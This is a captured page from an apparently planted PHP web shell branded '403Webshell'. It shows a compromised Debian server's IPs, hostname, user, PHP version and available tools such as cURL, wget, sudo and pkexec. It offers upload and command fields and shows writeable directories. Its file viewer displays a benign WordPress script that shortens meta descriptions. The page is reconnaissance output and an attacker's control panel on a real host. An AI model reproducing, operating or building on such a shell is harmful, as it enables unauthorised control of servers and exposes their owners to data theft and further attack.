403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp//fix_long_descriptions.php
<?php
require '/var/www/clients/client2/web20/web/wp-load.php';
global $wpdb;

$max_len = 155;

$rows = $wpdb->get_results("
    SELECT pm.meta_id, pm.post_id, pm.meta_value as description, p.post_type, p.post_name,
           CHAR_LENGTH(pm.meta_value) as len
    FROM {$wpdb->postmeta} pm
    JOIN {$wpdb->posts} p ON pm.post_id = p.ID
    WHERE pm.meta_key = '_dgt_meta_description'
    AND CHAR_LENGTH(pm.meta_value) > {$max_len}
    AND p.post_status = 'publish'
    ORDER BY len DESC
");

$updated = 0;
foreach ($rows as $r) {
    $desc = $r->description;
    $short = mb_substr($desc, 0, $max_len);
    $last = mb_strrpos($short, '.');
    if ($last && $last > 100) {
        $short = mb_substr($short, 0, $last + 1);
    } else {
        $last = mb_strrpos($short, ',');
        if ($last && $last > 100) {
            $short = mb_substr($short, 0, $last);
            $short .= '.';
        } else {
            $last = mb_strrpos($short, ' ');
            if ($last > 80) {
                $short = mb_substr($short, 0, $last);
            }
            $short = rtrim($short, ' -–,;:/&') . '.';
        }
    }

    $final_len = mb_strlen($short);
    if ($final_len > 160) {
        $short = mb_substr($short, 0, 155);
        $ls = mb_strrpos($short, ' ');
        if ($ls > 100) $short = mb_substr($short, 0, $ls);
        $short = rtrim($short, ' -–,;:/&.') . '.';
    }

    $wpdb->update($wpdb->postmeta, array('meta_value' => $short), array('meta_id' => $r->meta_id));
    $updated++;
    echo mb_strlen($short) . " | {$r->post_name} | {$short}\n";
}

echo "\nShortened $updated descriptions\n";

Youez - 2016 - github.com/yon3zu
LinuXploit